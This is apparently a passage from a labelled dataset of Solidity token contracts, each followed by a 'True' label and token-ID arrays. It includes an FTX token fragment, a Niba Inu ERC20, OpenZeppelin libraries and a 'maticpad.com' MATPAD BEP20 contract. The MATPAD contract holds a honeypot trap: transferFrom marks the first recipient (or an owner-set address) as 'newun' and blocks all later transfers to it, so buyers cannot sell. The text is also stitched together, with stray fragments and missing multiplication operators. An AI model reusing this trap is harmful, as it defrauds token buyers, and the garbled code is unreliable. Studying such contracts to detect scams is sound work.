TEAM_RESERVE = 0xfc0Dd77c6bd889819E322FB72D4a86776b1632d5; // assuming Feb 28, 2018 5:00 PM UTC(1519837200) + 1 year, may change for production; uint256 public constant VESTING_DATE = 1519837200 + 1 years; // minimum FTX token to be transferred to make the gas worthwhile (avoid micro transfer), cannot be higher than minimal subscribed amount in crowd sale. uint256 public token4Gas = 110*18; // gas in wei to reimburse must be the lowest minimum 0.6Gwei 80000 gas limit. uint256 public gas4Token = 800000.610*9; // minimum wei required in an account to perform an action (avg gas price 4Gwei avg gas limit 80000). uint256 public minGas4Accts = 800004109; bool public allowTransfers = false; mapping (address => bool) public transferException; event Withdraw(address indexed from, address indexed to, uint256 value); event GasRebateFailed(address indexed to, uint256 value); / * @dev Contructor that gives msg.sender all existing tokens. / function FTXToken(address _owner) public { require(_owner != address(0)); totalSupply = INITIAL_SUPPLY; balances[_owner] = INITIAL_SUPPLY - FINTRUX_RESERVE_FTX - CROSS_RESERVE_FTX - TEAM_RESERVE_FTX; balances[FINTRUX_RESERVE] = FINTRUX_RESERVE_FTX; balances[CROSS_RESERVE] = CROSS_RESERVE_FTX; balances[TEAM_RESERVE] = TEAM_RESERVE_FTX; owner = _owner; transferException[owner] = true; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(canTransferTokens()); // Team tokens lock 1 year require(_value > 0 && _value >= token4Gas); // do nothing if less than allowed minimum but do not fail balances[msg.sender] = balances[msg.sender].sub(_value); // insufficient token balance would revert here inside safemath balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); // Keep a minimum balance of gas in all sender accounts. It would not be executed if the account has enough ETH for next action. if (this.balance > gas4Token && msg.sender.balance < minGas4Accts) { // reimburse gas in ETH to keep a minimal balance for next transaction, use send instead of transfer thus ignore failed rebate(not enough ether to rebate etc.). if (!msg.sender.send(gas4Token)) { GasRebateFailed(msg.sender,gas4Token); } } return true; } / When necessary, adjust minimum FTX to transfer to make the gas worthwhile / function setToken4Gas(uint256 newFTXAmount) public onlyOwner { require(newFTXAmount > 0); // Upper bound is not necessary. token4Gas = newFTXAmount; } / Only when necessary such as gas price change, adjust the gas to be reimbursed on every transfer when sender account below minimum / function setGas4Token(uint256 newGasInWei) public onlyOwner { require(newGasInWei > 0 && newGasInWei <= 84000010*9); // must be less than a reasonable gas value gas4Token = newGasInWei; } / When necessary, adjust the minimum wei required in an account before an reimibusement of fee is triggerred / function setMinGas4Accts(uint256 minBalanceInWei) public onlyOwner { require(minBalanceInWei > 0 && minBalanceInWei <= 84000010*9); // must be less than a reasonable gas value minGas4Accts = minBalanceInWei; } / This unnamed function is called whenever the owner send Ether to fund the gas fees and gas reimbursement / function() payable public onlyOwner { } / Owner withdrawal for excessive gas fees deposited / function withdrawToOwner (uint256 weiAmt) public onlyOwner { require(weiAmt > 0); // do not allow zero transfer msg.sender.transfer(weiAmt); Withdraw(this, msg.sender, weiAmt); // signal the event for communication only it is meaningful } / allow everyone to start transferring tokens freely at the same moment. / function setAllowTransfers(bool bAllowTransfers) external onlyOwner { allowTransfers = bAllowTransfers; } / add the ether address to whitelist to enable transfer of token. / function addToException(address addr) external onlyOwner { require(addr != address(0)); require(!isException(addr)); transferException[addr] = true; } / remove the ether address from whitelist in case a mistake was made. / function delFrException(address addr) external onlyOwner { require(addr != address(0)); require(transferException[addr]); delete transferException[addr]; } / return true when the address is in the exception list eg. token distribution contract and private sales addresses / function isException(address addr) public view returns (bool) { return transferException[addr]; } / below are internal functions / / return true if token can be transferred. */ function canTransferTokens() internal view returns (bool) { if (msg.sender == TEAM_RESERVE) { // Vesting for FintruX TEAM is 1 year. return now >= VESTING_DATE; } else { // if transfer is disabled, only allow special addresses to transfer tokens. return allowTransfers \|\| isException(msg.sender); } } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 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/** Submitted for verification at Etherscan.io on 2021-10-26 / // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Niba Inu' contract // // Symbol : NIB // Name : Niba Inu // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor () internal { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. / function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. / function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol / function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). / contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /* * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. / function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract NIB is BurnableToken { string public constant name = "Niba Inu"; string public constant symbol = "NIB"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }	True	[ 101, 1013, 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/** Submitted for verification at Etherscan.io on 2021-06-07 / pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " MATPAD "; name = "maticpad.com"; decimals = 8; _totalSupply = 600 * 10*6 108; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } / function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } / contract MATPADTOKEN is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } /* interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } */	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5718, 1008, 1013, 10975, 8490, 2863, 5024, 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/** Submitted for verification at Etherscan.io on 2022-04-07 / // File: contracts/DerpDerp.sol // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/interfaces/IERC20.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) 